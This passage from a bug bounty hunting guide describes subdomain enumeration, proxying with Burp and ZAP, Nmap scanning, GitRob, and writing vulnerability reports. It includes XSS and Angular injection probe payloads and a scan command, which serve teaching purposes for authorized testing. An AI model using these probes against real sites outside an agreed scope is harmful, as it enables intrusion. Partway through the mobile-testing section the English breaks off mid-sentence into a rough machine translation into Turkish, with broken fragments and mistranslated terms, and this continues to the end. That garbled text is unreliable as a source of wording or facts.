As you know from the examples detailed previously, there's more to hacking that just opening a website, entering a payload and taking over a server. There are a lot of things to consider when you're targeting a new site, including:

- What's the scope of the program? All sub domains of a site or specific URLs? For example, *.twitter.com, or just www.twitter.com?
- How many IP addresses does the company own? How many servers is it running?
- What type of site is it? Software as a Service? Open source? Collaborative? Paid vs Free?
- What technologies are they using? Python, Ruby, PHP, Java? MSQL? MySQL, Postgres, Microsoft SQL? Wordpress, Drupal, Rails, Django?

These are only some of the considerations that help define where you are going to look and how you're going to approach the site. Familiarizing yourself with the program is a first step. To begin, if the program is including all sub domains but hasn't listed them, you're going to need to discover them. As detailed in the tools section, KnockPy is a great tool to use for this. I recommend cloning Daniel Miessler's SecLists GitHub repository and using the sub domains list in the **/Discover/DNS** folder. The specific command would be:

```
knockpy domain.com -w /PATH_TO_SECLISTS/Discover/DNS/subdomains-top1mil-110000.t\
xt
```

This will kick off the scan and save a csv file with the results. I recommend starting that and letting it run in the background. Next, I recommend using Jason Haddix's (Technical Director of Bugcrowd and Hacking ProTips #5 interviewee) enumall script, available on GitHub under his Domain repo. This requires Recon-ng to be installed and configured but he has setup instructions in his readme file. Using his script, we'll actually be scrapping Google, Bing, Baidu, etc. for sub domain names. Again, let this run in the background and it'll create a file with results.

Using these two tools should give us a good set of sub domains to test. However, if, after they're finished, you still want to exhaust all options, IPV4info.com is a great website which lists IP addresses registered to a site and associated sub domains found on those addresses. While it would be best to automate scrapping this, I typically will browse this manually and look for interesting addresses as a last step during my information gathering.

While the sub domain enumeration is happening in the background, next I typically start working on the main site of the bug bounty program, for example, www.drchrono.com. Previously, I would just jump into using Burp Suite and exploring the site. But, based on Patrik Fehrenbach's advice and awesome write ups, I now start the ZAP proxy, visit the site and then do a Forced Browse to discover directories and files. Again, I let this run in the background. As an aside, I'm using ZAP because at the time of writing, I don't have a paid version of Burp Suite but you could just as easily use that.

Having all that running, it's now that I actually start exploring the main site and familiarizing myself with it. To do so, ensure you havethe Wappalyzer plug installed (it's available for FireFox, which I use, and Chrome). This allows us to immediately see what technologies a site is using in the address bar. Next, I start Burp Suite and use it to proxy all my traffic. If you are using the paid version of Burp, it's best to start a new project for the bounty program you'll be working on.

At this stage, I tend to leave the defaults of Burp Suite as is and begin walking through the site. In other words, I leave the scope completely untouched so all traffic is proxied and included in the resulting history and site maps. This ensures that I don't miss any HTTP calls made while interacting with the site. During this process, I'm really just exploring while keeping my eyes out for opportunities, including:

The Technology Stack

What is the site developed with, what is Wappalyzer telling me? For example, is the site using a Framework like Rails or Django? Knowing this helps me determine how I'll be testing and how the site works. For example, when working on a Rails site, CSRF tokens are usually embedded in HTML header tags (at least for newer versions of Rails). This is helpful for testing CSRF across accounts. Rails also uses a design pattern for URLs which typically corresponds to /CONTENT_TYPE/RECORD_ID at the most basic. Using HackerOne as an example, if you look at reports, their URLs are www.hackerone.com/reports/12345. Knowing this, we can try to pass record IDs we shouldn't have access to. There's also the possibility that developers may have inadvertently left json paths available disclosing information, like www.hackerone.com/reports/12345.json.

I also look to see if the site is using a front end JavaScript library which interacts with a back end API. For example, does the site use AngularJS? If so, I know to look for Angular Injection vulnerabilities and include the payload {{4*4}}[[5*5]] when submitting fields (I use both because Angular can use either and until I confirm which they use, I don't want to miss opportunities). The reason why an API returning JSON or XML to a template is great is because sometimes those API calls unintentionally return sensitive information which isn't actually rendered on the page. Seeing those calls can lead to information disclosure vulnerabilities as mentioned regarding Rails.

Lastly, and while this bleeds into the next section, I also check the proxy to see things like where files are being served from, such as Amazon S3, JavaScript files hosted elsewhere, calls to third party services, etc.

Functionality Mapping

There's really no science to this stage of my hacking but here, I'm just trying to understand how the site works. For example:

- I set up accounts and note what the verification emails and URLs look like, being on the lookout for ways to reuse them or substitute other accounts.
- I note whether OAuth is being used with other services.
- Is two factor authentication available, how is it implemented - with an authenticator app or does the site handle sending SMS codes?
- Does the site offer multiple users per account, is there a complex permissions model?
- Is there any inter-user messaging allowed?
- Are any sensitive documents stored or allowed to be uploaded?
- Are any type of profile pictures allowed?
- Does the site allow users to enter HTML, are WYSIWYG editors used?

These are just a few examples. During this process, I'm really just trying to understand how the platform works and what functionality is available to be abused. I try to picture myself as the developer and imagine what could have been implemented incorrectly or what assumptions could have been made, prepping for actual testing. I try my best not to start hacking right away here as it's really easy to get distracted or caught up trying to find

XSS, CSRF, etc. vulnerabilities submitting malicious payloads everywhere. Instead, I try to focus on understanding and finding areas that may provide higher rewards and may not have been thought of by others. But, that said, if I find a bulk importer which accepts XML, I'm definitely stopping my exploration and uploading a XXE document, which leads me into my actual testing.

Application Testing

Now that we have an understanding of how our target works, it's time to start hacking. At this stage, some others may use automated scanners to crawl a site, test for XSS, CSRF, etc. but truthfully, I don't, at least right now. As such, I'm not going to speak to those tools, instead focusing on what my "manual" approach looks like.

So, at this stage, I tend to start using the site as is intended, creating content, users, teams, etc., injecting payloads anywhere and everywhere looking for anomalies and unexpected behaviour from the site when it returns that content. To do so, I'll typically add the payload **<img src="x" onerror=alert(1)>** to any field which will accept it, and if I know that a templating engine (e.g., Angular) is being used, I'll add a payload in the same syntax, like {{4*4}}[[5*5]]. The reason I use the img tag is because it's designed to fail since the image x shouldn't be found. As a result, the onerror event should execute the JavaScript function alert. With the Angular payloads, I'm hoping to see either 16 or 25 which may indicate the possibility of passing a payload to execute JavaScript, depending on the version of Angular.

On that note, after saving the content, I check to see how the site is rendering my content, whether any special characters are encoded, attributes stripped, whether the XSS image payload executes, etc. This gives me an idea of how the site handles malicious input and gives me an idea of what to look for. I typically do not spend a lot of time doing this or looking for such simple XSS because these vulnerabilities are usually considered low hanging fruit and often reported quickly.

As a result, I'll move on to my notes from the functional mapping and digging into testing each area with particular attention being paid to the HTTP requests and responses being sent and received. Again, this stage really depends on the functionality offered by a site. For example, if a site hosts sensitive file uploads, I'll test to see if the URLs to those files can be enumerated or accessed by an anonymous user or someone signed into a different account. If there is a WYSIWYG, I'll try intercepting the HTTP POST request and add additional HTML elements like images, forms, etc.

While I'm working through these areas, I keep an eye out for:

- The types of HTTP requests that change data have CSRF tokens and are validating them? (CSRF)
- Whether there are any ID parameters that can be manipulated (Application Logic)
- Opportunities to repeat requests across two separate user accounts (Application Logic)
- Any XML upload fields, typically associated with mass record imports (XXE)
- URL patterns, particularly if any URLs include record IDs (Application Logic, HPP)
- Any URLs which have a redirect related parameter (Open Redirect)
- Any requests which echo URL parameters in the response (CRLF, XSS, Open

Redirect)
- Server information disclosed such as versions of PHP, Apache, Nginx, etc. which can be leveraged to find unpatched security bugs

A good example of this was my disclosed vulnerability against MoneyBird. Walking through their functionality, I noticed that they had team based functionality and the ability to create apps which gave access to an API. When I tested registering the app, I noticed they were passing the business ID to the HTTP POST call. So, I tested registering apps against teams I was a part of but should not have had permission to create apps for. Sure enough, I was successful, the app was created and I received an above average $100 bounty from them.

At this point, it's best to flip back to ZAP and see what, if any, interesting files or directories have been found via the brute forcing. You'll want to review those findings and visit the specific pages, especially anything which may be sensitive like .htpasswd, settings, config, etc. files. Additionally, using Burp, you should now have a decent site map created which can be reviewed for pages that Burp found but weren't actually visited. And while I don't do this, Jason Haddix discusses it during his DefCon 23 presentation, How to Shot Web, it's possible to take the site maps and have Burp, and other tools, do automatic comparisons across accounts and user permissions. This is on my list of things to do but until now, my work has largely been manual, which takes us to the next section.

Digging Deeper

While most of this hacking has been manual, this obviously doesn't scale well. In order to be successful on a broader scale, it's important to automate as much as we can. We can start with the results from our KnockPy and enumall scans, both of which provide us with lists of sub domains to checkout. Combining both lists, we can take the domain names and pass them to a tool like EyeWitness. This will take screen shots from all the sub domains listed which are available via ports like 80, 443, etc. to identify what the

site looks like. Here we'll be looking for sub domain take overs, accessible web panels, continuous integration servers, etc.

We can also take our list of IPs from KnockPy and pass it to Nmap to begin looking for open ports and vulnerable services. Remember, this is how Andy Gill made $2,500 from PornHub, finding an open Memcache installation. Since this can take a while to run, you'll want to start this and let it run in the background again. The full functionality of Nmap is beyond the scope of this book but the command would look like **nmap -sSV -oA OUTPUTFILE -T4 -iL IPS.csv**. Here we are telling Nmap to scan the top 1000 most common ports, give us the service version information for any open ports, write it to an output file and use our csv file as a list of IPs to scan.

Going back to the program scope, it's also possible that mobile applications may be in scope. Testing these can often lead to finding new API endpoints vulnerable to hacking. To do so, you'll need to proxy your phone traffic through Burp and begin using the mobile app. This is one way to see the HTTP calls being made and manipulate them. However, sometimes apps will use SSL pinning, meaning it will not recognize or use the Burp SSL certificate, so you can't proxy the app's traffic. Getting around this is more difficult and beyond the scope of this book (at least at this time) but there is documentation on how to address that and Arne Swinnen has a great presentation from BSides San Francisco

about how he addressed this to test Instagram.

Even without that, there are mobile hacking tools which can help test apps. While I don't
onlarla çok fazla deneyime sahip (en azından şu anda), yine de kullanmak için bir seçenek.
Bunların her ikisi de içinde bulunan Mobil Güvenlik Çerçevesi ve JD-GUI'yi içerir.
Araçlar bölümünde korsanların Uber'e karşı bir dizi güvenlik açığı bulmak için kullandıkları
ve bu API.

Mobil uygulama yoksa, bazen programların kullanabileceği kapsamlı bir API'sı vardır.
sayısız güvenlik açığı içeren - Facebook harika bir örnek. Philippe Harewood
her türlü bilginin açığa çıkmasına neden olan güvenlik açıklarını açığa çıkarmaya devam ediyor
Facebook'ta. Burada, geliştirici belgelerini siteden incelemek isteyeceksiniz ve
anormallikleri aramaya başlayın. Sağlanan kapsamları test eden güvenlik açıkları buldum
OAuth tarafından bilgiye erişmem gerekir (OAuth kapsamları gibidir)
e-posta adresiniz gibi bir uygulamanın neye erişebileceğini tanımlayan izinler
profil bilgisi, vb.) Yapmak için API kullanarak işlevsellik atlamaları da buldum.
ücretsiz bir hesapla erişmemem gereken şeyler (bazıları için güvenlik açığı sayılıyor)
şirketler). Ayrıca, kötü amaçlı bir içeriği, uygulama sırasında bir API olarak API üzerinden test edebilirsiniz.
site, web sitesinde gönderim sırasında yükleri sıyrılıyor.

Fran tarafından sunulan sunumlara dayanarak yeni kullanmaya başladığım başka bir araç
Rosen GitRob. Bu, genel GitHub depolarını arayacak otomatik bir araçtır.
hedefler ve konfigürasyonlar ve şifreler dahil olmak üzere hassas dosyaları arayın.
Ayrıca, katkıda bulunanların depolarını da tarayacaktır. Sunumlarında Frans konuşur

[1] https://www.youtube.com/watch?v=dsekKYNLBbc

Sayfa 204

Salesforce giriş bilgilerini bir şirketin halka açık deposunda bulunan hakkında
büyük bir ödeme. Ayrıca kamu depolarında Slack anahtarlarını bulma konusunda blog yazdı.
Büyük ödüllere.

Son olarak, yine Frans tarafından önerildiği gibi, ödeme duvarları bazen kesmek için olgun bir alan sunar.
ing. Bunu kendi başıma tecrübe etmeme rağmen, Frans güvenlik açıklarını bulduğunu söylüyor
Diğer çoğu bilgisayar korsanının ödeme gereği nedeniyle kaçınılması gereken ücretli işlevlerde
test edilen servis için. Ne kadar başarılı olabileceğinle konuşamam
bu, ancak fiyatın düşünüldüğünü söyleyerek hack ederken keşfedilmesi gereken ilginç bir alan gibi görünüyor
makul.

özet

Bu bölümde, sürecimin neye benzediği üzerine bir miktar ışık tutmaya yardımcı olmaya çalıştım.
Kendinizinkini geliştirmenize yardımcı olur. Bugüne kadar, bir hedefi keşfettikten sonra en başarılı oldum.
hangi işlevselliği sağladığını anlamak ve bu güvenlik açığı türleriyle eşleştirmek
test yapmak. Ancak, araştırmaya devam ettiğim alanlardan biri ve sizi cesaretlendiriyorum
aynı zamanda otomasyondur. Yapabilecek çok sayıda hackleme aracı var
hayatınızı kolaylaştıracak, Burp, ZAP, Nmap, KnockPy, vb. burada sayılanlardan birkaçıdır. Onun
Bunları aklınızda tutmak için iyi bir fikir
Daha derine. Sonuç olarak, işte tartışmış olduklarımızın bir özeti:

1. Tüm alt alanları (kapsam dahilindeyse) KnockPy kullanarak numaralandırın, enumall Recon-ng
   komut dosyası ve IPV4info.com

2. ZAP proxy'si başlatın, ana hedef siteyi ziyaret edin ve keşfetmek için bir Zorunlu Göz Atma gerçekleştirin
   dosyalar ve dizinler
3. Wappalyzer ve Burp Suite (veya ZAP) proxy ile kullanılan harita teknolojileri
4. İlgili işlevleri dikkate alarak mevcut işlevleri araştırın ve anlayın.
   güvenlik açığı türleri
5. Sağlanan işlevsellik ile güvenlik açığı türlerini eşleme testine başlayın
6. KnockPy ve enumall taramalardan EyeWitness ve Nmap taramalarını otomatikleştirin
7. Mobil uygulama güvenlik açıklarını inceleyin
8. Varsa, erişilemez işlevsellik de dahil olmak üzere API katmanını test edin.
9. GitHub depolarında GitRob ile özel bilgi arayın.
10. Siteye abone olun ve test edilecek ek işlevler için ödeme yapın

22. Güvenlik Açığı Raporları

Böylece gün sonunda geldi ve ilk kırılganlığını buldun. Öncelikle tebrik ederim.
dönüşüme kazandırılmalı! Cidden, güvenlik açıklarını bulmak kolay değildir, ancak cesaret kırmaktır.

İlk tavsiyem rahatlamak, heyecanlanmaktan kaçınmak. Olma hissini biliyorum
Bir rapor sunma konusunda çok memnun ve
güvenlik açığı olmadığını ve şirketin itibarınızı zedeleyecek olan raporu kapattığını söyledi
raporlama platformunda.

Bundan kaçınmana yardım etmek istiyorum. Yani ilk şey ilk.

Açıklama talimatlarını okuyun.

Hem HackerOne hem de Bugcrowd'da, katılan her şirket kapsam içinde ve dışında
program için kapsam alanları. İnşallah önce onları okudun, böylece zamanını boşa harcamadın.
Ama sen yapmadıysan, şimdi oku. Bulduğunların bilinmediği ve dışında olmadığından emin ol.
onların programı.

İşte geçmişimden acı verici bir örnek: İlk bulduğum güvenlik açığı Shopify'daydı.
hatalı biçimlendirilmiş HTML'yi metin düzenleyicisine gönderirseniz, çözümleyicileri onu düzeltir ve saklar
XSS. Heyecanlı değildim. Avlarım para ödüyordu. Raporumu gönderemedim
yeterince hızlı.

Sevindim, gönder düğmesine tıkladım ve 500 dolarlık lütfemi bekledim. Bunun yerine, kibarca bana söyledi
Bilinen bir güvenlik açığıydı ve araştırmacılardan göndermemelerini istedi. Bilet
kapattım ve 5 puan kaybettim. Bir delikte sürünmek istedim. Zor bir dersti.

Hatalarımdan öğrenin, **KILAVUZLARI OKUYUN!**

Ayrıntıları Dahil Et. Ardından Daha Fazla Dahil Et.

Raporunuzun ciddiye alınmasını istiyorsanız, aşağıdakileri içeren ayrıntılı bir rapor verin.
en azından:

- URL'yi ve güvenlik açığını bulmak için kullanılan etkilenen parametreleri
- Tarayıcı, işletim sistemi (varsa) ve / veya uygulama sürümünün açıklaması
- Algılanan etkinin açıklaması. Böcek potansiyel olarak nasıl sömürülebilir?
- Hatayı yeniden oluşturma adımları

Bu kriterler Yahoo dahil, Hackerone'daki belli başlı şirketler tarafından yaygındı.
Twitter, Dropbox, vb. Daha ileri gitmek istiyorsanız, ekran görüntüsü eklemenizi öneririm
veya kavramın bir video kanıtı (POC). Her ikisi de şirketler için çok faydalıdır ve yardımcı olacaktır.
onlar güvenlik açığını anlar.

Bu aşamada, site için çıkarımların ne olduğunu da düşünmeniz gerekir. İçin
Örneğin, Twitter'da depolanan bir XSS'nin
çok fazla kullanıcı sayısı ve aralarındaki etkileşim. Nispeten, sınırlı bir site
kullanıcılar arasındaki etkileşim, bu güvenlik açığını ciddi olarak görmeyebilir. Buna karşılık, bir gizlilik
PornHub gibi hassas bir web sitesinde sızıntı Twitter'dan daha önemli olabilir,
çoğu kullanıcı bilgisi zaten herkese açık (ve daha utanç verici?).

Güvenlik açığını onaylayın

Kuralları okudunuz, raporunuzu hazırladınız, ekran görüntüleri eklediniz. almak
bir saniye ve bildirdiğin şeyin aslında bir güvenlik açığı olduğundan emin ol.

Örneğin, bir şirketin bir CSRF belirteci kullanmadıklarını bildiriyorsanız
başlıklar, geçirilen parametrelerin bir belirteç içerip içermediğini kontrol ettiniz mi?
CSRF belirteci gibi davranıyor ancak aynı etikete sahip değil mi?

Daha önce güvenlik açığını onayladığınızdan emin olmak için sizi teşvik edemem
raporu gönderdin. Kayda değer bir şey bulduğunu düşünmek oldukça büyük olabilir.
güvenlik açığı yalnızca testleriniz sırasında bir şeyi yanlış yorumladığınızı farketmenizi sağlar.

Kendinize bir iyilik yapın, bir dakikanızı ayırın ve önünüzdeki güvenlik açığını onaylayın
teslim et.

Şirkete Saygı Göster

HackerOne'un şirket oluşturma sürecinde yapılan testlere dayanarak (evet, olarak test edebilirsiniz.
bir araştırmacı), bir şirket yeni bir hata ödül programı başlattığında,
raporlarla doludur. Gönderdikten sonra, şirkete inceleme fırsatı verin
Raporunuzu ve size geri almak.

Bazı şirketler zaman çizelgelerini lütuf kurallarına eklerken, bazıları değildir.
Heyecanınızı iş yükleriyle dengeleyin. Birlikte yaptığım konuşmalara dayanarak
HackerOne desteği, bir şirketten haber almadıysanız takip etmenize yardımcı olur
en az iki hafta

Bu rotaya gitmeden önce, raporda kibar bir mesaj olup olmadığını sorun.
Güncelleme. Çoğu zaman şirketler cevap verir ve durumu size bildirir. Eğer yapmazlarsa
Onlara biraz zaman verin ve sorunu tırmanmadan önce tekrar deneyin. Öte yandan, eğer

Sayfa 207

şirket bu güvenlik açığını onayladı, düzeltmeyi onaylamak için onlarla birlikte çalışın
yapılır.

Bu kitabı yazarken, yeni bir üye olan Adam Bacchus ile sohbet edebilecek kadar şanslı oldum.
Baş Ödül Memuru unvanına sahip olan Mayıs 2016'dan itibaren HackerOne ekibinin
Konuşmalarımız gerçekten gözlerimi böcek ödüllerinin diğer tarafına açtı. Biraz
arkaplan Adam, Snapchat ile güvenliği arttırmak için çalıştığı deneyime sahip.
üzerinde çalıştığı yazılım mühendisliği ekipleri ve Google'ın bulunduğu ekip
Güvenlik Açığı Yönetim Ekibi ve Google Güvenlik Açığı Ödülünün çalıştırılmasına yardımcı oldu
Programı.

Adam, tetikçilerin yaşadığı bir sürü sorun olduğunu anlamama yardımcı oldu.
aşağıdakiler de dahil olmak üzere bir ödül programı yürütmek:

- **Gürültü** : Maalesef, hata ödül programları her ikisi de çok sayıda geçersiz rapor alıyor
  HackerOne ve BugCrowd bu konuda yazmışlar. Biliyorum kesinlikle ...
  kabarık ve umarım bu kitap, yayınlanmasından kaçınmanıza yardımcı olur
  sizin ve ödül programlarının masraflarını ve zamanını bildirir.
- **Önceliklendirme** : Ödül programları, güvenlik açığına öncelik vermenin bir yolunu bulmak zorunda
  ıslahı. Benzerleri olan birden fazla güvenlik açığınız varsa, bu zor
  etkisi ancak sürekli gelen raporlarla bir araya geldiğinde, ödül programı karşısında
  ayakta tutan ciddi zorluklar.
- **Onaylar** : Bir raporu başlatırken, hataların doğrulanması gerekir. Yine, bu alır
  saati. Bu nedenle bilgisayar korsanlarının açık talimatlar vermesi ve
  ne bulduğumuz, nasıl çoğaltacağımız ve neden önemli olduğu hakkında açıklama.
  Bir video sağlamak sadece kesmiyor.
- **Kaynak Bulma** : Her şirket tam zamanlı çalışanı çalışmaya adamaya **adamaz**
  bir ödül programı. Bazı programlar tek bir kişinin yanıt verdiği için şanslı.
  Diğerlerinin personeli zamanlarını ayırırken raporlar. Sonuç olarak, şirketler
  insanların aldıkları programları döndürür ve raporlara yanıt verir. Herhangi bir bilgi
  Gerekli bilgilerin sağlanmasındaki boşluklar veya gecikmeler ciddi bir etkiye sahiptir.
- **Düzeltmeyi yazmak** : Kodlama, özellikle tam bir gelişim yaşam döngüsü varsa, zaman alır.
  hata ayıklama, regresyon testleri yazma, yerleştirme dağıtımları ve son olarak
  üretime itmek. Peki ya geliştiriciler altında yatan sebebi bile bilmiyorsa
  güvenlik açığı? Tüm bunlar, bilgisayar korsanları, sabırsız ve istekliyken zaman alır.
  ödenecek. Açık iletişim hatları anahtar ve tekrar, burada ihtiyaç
  herkesin birbirine saygılı olması için.
- **İlişki yönetimi** : Böcek ödül programları, bilgisayar korsanlarının geri gelmesini istiyor.
  HackerOne, kırılganlığın etkisinin bilgisayar korsanları olarak nasıl büyüdüğünü yazdı.
  tek bir programa daha fazla hata gönderin. Sonuç olarak, ödül programlarının bulunması gerekir.
  Bu ilişkileri geliştirerek dengeyi kurmanın bir yolu.
- **Basınla İlişkiler** : Bir hatanın gözden kaçabilmesi için her zaman baskı vardır;
  çözülmek için uzun, ya da bir ödül çok düşük olarak algılanır ve bilgisayar korsanları alacak

> Twitter ya da medyaya. Yine, bu durum tetikleyicilere ağırlık verir ve bunların nasıl etkilendiğine etki eder.
> ilişkiler geliştirmek ve bilgisayar korsanlarıyla çalışmak.

Tüm bunları okuduktan sonra amacım bu süreci insancıllaştırmaya yardımcı olmak. Deneyimlerim oldu
tayfın her iki ucunda, iyi ve kötü. Ancak, günün sonunda, bilgisayar korsanları
programlar birlikte çalışacak ve zorlukları anlayabilecek
Her birinin karşılaştığı durum, sonuçların iyileştirilmesine yardımcı olacaktır.

İkramiyeleri

Ödül kazanan bir şirkete güvenlik açığı gönderdiyseniz, kararlarına saygı gösterin
ödeme tutarında.

Jobert Abma'ya (HackerOne'nin Kurucu Ortağı) Quora'ya Göre Nasıl Olurum
Başarılı Hata Ödül Avcısı?[1] :

> Alınan bir miktara katılmıyorsanız, neden buna inandığınıza dair bir tartışma yapın.
> daha yüksek bir ödülü hak ediyor. Başka bir ödül istediğin durumlardan kaçın
> neden buna inandığını açıklayamadan. Buna karşılık bir şirket göstermeli
> zamanınıza ve değerinize saygı gösterin.

Gölet geçmeden önce Merhaba bağırmak yok

17 Mart 2016'da Mathias Karlsson potansiyel olarak harika bir blog yazısı yazdı
Aynı Menşe İlkesi (SOP) bypass'ı bulma (aynı menşe politikası
web tarayıcılarının komut dosyalarının web sitelerinden içeriğe erişmesine nasıl izin verdiğini tanımlayın)
içeriğin bir kısmını buraya eklememe izin verecek kadar. Bir kenara, Mathias bir harika
HackerOne rekoru - 28 Mart 2016 itibariyle, Signal'de yüzde 97'de,
HackerOne, Uber, Yahoo, CloudFlare gibi şirketleri içeren 109 böcek bulundu
vb.

Bu yüzden, "Göleti geçmeden merhaba diye bağırmayın" demek İsveççe anlamına gelir
Kesin olarak kesin olana kadar kutlamamalısın. Muhtemelen neden olduğumu tahmin edebilirsin
Bu dahil - hack tüm güneş ışığı ve gökkuşağı değildir.

Mathias'e göre, Firefox ile oynuyordu ve tarayıcının çalışacağını fark etti.
hatalı biçimlendirilmiş ana bilgisayar adlarını kabul etti (OSX'te), bu nedenle http://example.com ..
ple.com ancak ana bilgisayar başlığında example.com .. gönderin. Daha sonra http://example.com evil.com adresini denedi.
ve aynı sonucu aldım.

[1] https://www.quora.com/How-do-I-become-a-successful-Bug-bounty-hunter

Flash'ın tedavi edeceği için bu SOP'nin atlanabileceğini anında biliyordu.
http: //example.com..evil.com, * .evil.com etki alanı altında olduğu gibi. O kontrol etti
Alexa en iyi 10000'ü buldu ve Yahoo.com dahil sitelerin% 7'sinin sömürülebilir olacağını tespit etti.

Bir yazı yazdı ama biraz daha doğrulayıcı yapmaya karar verdi. Bir eş ile kontrol etti -
işçi, evet, onların Sanal Makinesi de hatayı doğruladı. Firefox, yup, bug güncellendi
hala oradaydı. Daha sonra Twitter hakkında bulgu hakkında ima etti. Ona göre, Bug =
Doğrulandı değil mi?

Hayır! Yaptığı hata, işletim sistemini en yenisine güncellememesiydi.
sürümü. Bunu yaptıktan sonra böcek ölmüştü. Görünüşe göre bu altı ay önce bildirildi
ve OSX Yosemite 10.10.5'e güncelleme sorunu çözdü.

Bunu, büyük bilgisayar korsanlarının bile yanlış anlayabileceğini ve bunun önemli olduğunu göstermek için ekledim.
bildirmeden önce bir hatanın sömürülmesini onaylayın.

Bunu eklememe izin verdiği için Mathias'e teşekkür ederim - Twitter'a göz atmanızı öneririm
Mathias @ bu konuda yazdı @ avlidienbrunn ve labs.detectify.com besleyin.

Ayrılık Kelimeler

Umarım bu bölüm size yardımcı olmuştur ve daha öldürücü bir rapor yazmaya hazırsınız.
Göndermeye başlamadan önce, bir dakikanızı ayırın ve raporu gerçekten düşünün - eğer öyleyse
kamuya açıkladıysanız ve okudum, gurur duyar mısınız?

Gönderdiğiniz her şey, geride durmaya ve haklı göstermeye hazır olmalısınız.
şirket, diğer bilgisayar korsanları ve kendin. Bunu seni korkutmak için söylemiyorum ama kelimeler olarak
Tavsiye ben keşke başlangıç olsaydı. Başladığımda kesinlikle şüpheli gönderdim
raporlar çünkü sadece tahtada olmak ve yardımcı olmak istedim. Ancak, şirketler
bombardıman olsun. Tamamen tekrarlanabilir bir güvenlik hatası bulmak ve bildirmek daha yararlıdır
Açıkça.

Gerçekten kimin umursadığını merak ediyor olabilirsiniz - şirketlerin bu çağrıyı yapmasına ve kimin umrunda olmasına izin verin.
diğer bilgisayar korsanlarının ne düşündüğü. Yeterince adil. Ama en azından HackerOne'da raporlarınız önemlidir -
istatistikleriniz izlenir ve geçerli bir raporunuz olduğunda, aleyhinize kaydedilir.
Sinyal, raporlarınızın değerinin ortalaması olan -10 ila 7 arasında değişen bir stat:

- Spam gönder, sen -10 olsun
- Uygulanamaz olanı gönder, -5
- Bir bilgilendirme gönderin, 0 olsun
- Çözülmüş bir rapor gönderin, 7

Yine, kimin umrunda? Signal, şimdi kimin Özel'e davet edildiğini belirlemek için kullanılıyor.
programları ve kamuya açık programlara rapor gönderebilir. Özel programlar genellikle

bilgisayar korsanları için taze et - bunlar sadece böcek ödülüne giren siteler.
program ve sitelerini sınırlı sayıda korsanlara açıyor. Bu, potansiyel demektir
daha az rekabete açık güvenlik açıkları.

Diğer şirketlere raporlama gelince - deneyimimi bir uyarı hikayesi olarak kullanın.

Özel bir programa davet edildim ve bir gün içinde sekiz güvenlik açığı buldum.
Ancak, o gece, başka bir programa bir rapor sundum ve N / A verildi.
Bu benim sinyalimi 0,96'ya çarptı. Ertesi gün özel şirkete rapor vermeye gittim
yine bir bildirim aldım - Sinyalim çok düşüktü ve 30 gün beklemek zorunda kaldım
onlara ve 1.0 Sinyal gereksinimi olan herhangi bir diğer şirketlere.

Bu berbat! Bu süre zarfında bulduğum güvenlik açıklarını başka kimse bulamazken,
bana mal olacaktı. Her gün rapor edip edemediğimi kontrol ettim.
tekrar. O zamandan beri, Sinyalimi iyileştirmeye yemin ettim ve siz de yapmalısınız!

İyi şanslar avcılık!

23. Araçlar

Aşağıda, güvenlik açığı avcılığı için yararlı olan ve hiçbir şekilde kullanılmayan çamaşırhane listesi bulunmaktadır.
sipariş. Bazıları güvenlik açıkları arama işlemini otomatik hale getirirken, bunlar
el işi, keskin gözlem ve sezgisel düşüncenin yerine geçmez.

Hackerone'un Kurucu Ortağı olan Michiel Prins, katkıda bulunmaya yardımcı olduğu için çok teşekkür ediyor
Listeye ve araçların etkili bir şekilde nasıl kullanılacağına dair tavsiyeler sunmak.

Burp Süiti

https://portswigger.net/burp

Burp Suite, güvenlik testi için entegre bir platformdur ve hemen hemen bir zorunluluktur.
Başlıyorsun. Aşağıdakiler dahil faydalı olabilecek çeşitli araçlara sahiptir:

- Bir siteye gelen trafiği denetlemenize ve değiştirmenize olanak sağlayan bir ara proxy sunucusu
- İçeriği ve işlevselliği taramak için Spider'ı tanıyan bir uygulama (ya pasif veya aktif olarak)
- Güvenlik açıklarının algılanmasını otomatikleştirmek için bir web tarayıcı
- Bireysel talepleri yönetmek ve tekrar göndermek için bir tekrarlayıcı
- Belirteçlerin rastgeleliğini test etmek için bir sıralayıcı aracı
- İstekleri ve cevapları karşılaştırmak için bir karşılaştırma aracı

New Boston'lu Bucky Roberts'ın Burp Suite'te
Burp Suite'e giriş sağlayan https://vimeo.com/album/3510171.

ZAP Proxy

https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project

OWASP Zed Attack Proxy (ZAP) ücretsiz, topluluk tabanlı, açık kaynaklı bir platformdur.
güvenlik testi için Burp'a benzer. Ayrıca bir Proxy dahil olmak üzere çeşitli araçlara sahiptir,
Tekrarlayıcı, Tarayıcı, Dizin / Dosya Bruteforcer, vb. Ayrıca eklentileri de destekler.
bir geliştirici, ek işlevler oluşturabilirsiniz. Web siteleri çok yararlı
Başlamanıza yardımcı olacak bilgiler.

Knockpy

https://github.com/guelfoweb/knock

Knockpy alt tanımlamak için büyük bir kelime listesi üzerinde yineleme yapmak için tasarlanmış bir python aracıdır
bir şirketin etki alanları. Alt etki alanlarını belirlemek, test edilebilir yüzeyin artmasına yardımcı olur
bir şirketin ve başarılı bir güvenlik açığı bulma şansını artırın.

Bu bir GitHub deposudur, bu da repoyu indirmeniz gerekeceği anlamına gelir (GitHub
sayfanın nasıl yapıldığına dair talimatlar vardır ve Python'un kurulu olması gerekir (versiyonları ile test edilmişlerdir)
2.7.6 ve Google DNS kullanmanızı öneririz (8.8.8.8 | 8.8.4.4).

HostileSubBruteforcer

https://github.com/nahamsec/HostileSubBruteforcer

@Nahamsec (Ben Sadeghipour - harika adam!) Tarafından yazılan bu uygulama, için bruteforce olacak
varolan alt etki alanlarını girin ve IP adresini sağlayın, Ana Bilgisayar ve doğru olup olmadığını
kurulum, AWS, Github, Heroku, Shopify, Tumblr ve Squarespace kontrol edin. Bu harika

alt etki alanı devralmalarını bulma.

Sublist3r

https://github.com/aboul3la/Sublist3r

README.md dosyasına göre, Sublist3r, alt numaralandırmak için tasarlanmış bir python aracıdır.
arama motorlarını kullanan web sitelerinin alanları. Penetrasyon test cihazlarına ve böcek avcılarına yardımcı olur.
hedefledikleri alan için alt alan adlarını toplayın ve toplayın. Şu anda Sublist3r
aşağıdaki arama motorlarını destekler: Google, Yahoo, Bing, Baidu ve Ask. Daha fazla arama
gelecekte motor eklenebilir. Sublist3r ayrıca Netcraft'ı kullanarak alt etki alanlarını toplar,
Virustotal, ThreatCrowd, DNSdumpster ve PassiveDNS.

Subbrute aracı bulma olasılığını artırmak için Sublist3r ile bütünleştirilmiştir.
Gelişmiş bir kelime listesi ile bruteforce kullanan daha fazla alt alan. Kredi gider
Subbrute'un yazarı TheRook.

